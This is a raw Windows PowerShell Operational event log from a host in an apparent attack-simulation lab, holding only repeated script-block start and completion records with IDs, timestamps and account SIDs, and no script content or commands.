ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030907
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030905
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030904
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030887
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030881
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030873
Keywords=None
